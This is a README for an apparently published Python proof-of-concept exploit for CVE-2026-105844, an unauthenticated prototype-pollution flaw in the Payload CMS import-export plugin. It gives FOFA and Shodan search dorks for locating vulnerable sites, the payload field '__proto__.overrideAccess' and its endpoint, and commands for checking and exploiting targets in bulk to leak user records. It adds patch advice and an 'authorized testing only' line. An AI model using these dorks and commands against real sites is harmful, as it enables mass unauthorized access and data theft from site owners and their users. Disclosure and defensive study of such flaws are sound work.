
Python PoC for CVE-2026-105844: detects and exploits unauthenticated prototype pollution in Payload CMS import-export plugin to bypass access control and leak data.
Python 3 PoC for CVE-2026-105844 — Payload CMS + @payloadcms/plugin-import-export — CWE-1321 prototype pollution → access-control bypass and potential RCE (app-dependent). CVSS 4.0 9.3 Critical.
| Field | Value |
|---|---|
| PoCbit page | https://pocbit.org/pocs/cve-2026-105844 |
| GHSA | GHSA-qf28-8hc6-vwrp |
| Affected | Payload / plugin ≥ 3.0.0 < 3.88.0, canary < 4.0.0-canary.27 |
| Fixed | 3.88.0, 4.0.0-canary.27 |
| Endpoint | POST /api/exports/export-preview (default exports slug) |
| Trigger | fields: __proto__.overrideAccess (via vulnerable getSelect()) |
Only sites with the Import/Export plugin enabled are affected.
Payload alone is not enough — the Import/Export plugin must be installed. Use tier 1 for volume, tier 2 to narrow, then confirm with python poc.py --mode check.
Tier 1 — Payload CMS (wide)
body="Login - Payload" || body="Payload Admin" || title="Payload"
body="@layer payload-default" || body="payload__modal"
body="/admin/login" && (body="Payload" || title="Payload")
header="payload-token" || header="Set-Cookie: payload-token"
Tier 2 — Import/Export plugin hints (narrower)
body="plugin-import-export" || body="@payloadcms/plugin-import-export"
body="export-preview" && body="Payload"
body="/admin/collections/exports" || body="collections/exports"
body="createCollectionExport" || body="ImportExportProvider"
Tier 3 — API surface (manual / poc check)
FOFA rarely indexes POST bodies; after tier 1–2, verify:
body="/api/" && body="Payload"
Then on each host: POST /api/exports/export-preview (or --exports-slug if customized).
Shodan (same logic): http.html:"Login - Payload", http.html:"plugin-import-export".
False positives: patched ≥ 3.88.0, plugin disabled, or custom export collection slug → always run check.
handlePreview calls getSelect(fields) when fields is non-empty.getSelect (before 3.88.0) walks dot-paths on a plain object; segment __proto__ attaches to Object.prototype.__proto__.overrideAccess sets Object.prototype.overrideAccess = true.{} with access options inherit overrideAccess: true → unauthenticated REST API reads/writes.Patched code rejects __proto__, constructor, prototype and returns Invalid field path.
cd CVE-2026-105844
pip install -r requirements.txt
python poc.py -u https://cms.example --mode check
python poc.py -u https://cms.example --mode check --aggressive
python poc.py -u https://cms.example --mode exploit --collection users
python poc.py --list targets.example.txt --mode check -j 20
python poc.py --list hits.txt --mode exploit -j 10
Check: endpoint exists + pollution path not blocked (no Invalid field path). --aggressive: compares GET /api/{collection} doc count before/after pollution.
Exploit: pollute → GET /api/users (or chosen collection) → JSON docs leak; fallback checks export-preview body.
Options: --exports-slug, --collection (repeatable), --pollution-path.
Outputs: hits.txt, exploited.txt, cve_2026_105844_*.jsonl.
Upgrade to Payload 3.88.0+ (or 4.0.0-canary.27+). Until then: disable the import-export plugin or block /api/*/export-preview at the edge.
Authorized testing only.
CVE-2026-105844 — Payload CMS @payloadcms/plugin-import-export <3.88.0 unauth prototype pollution (CWE-1321, CVSS 4.0 9.3). PoCbit PoC: POST /api/exports/export-preview fields __proto__.overrideAccess → ACL bypass / data leak. check/exploit/mass. Fix 3.88.0+. https://pocbit.org/pocs/cve-2026-105844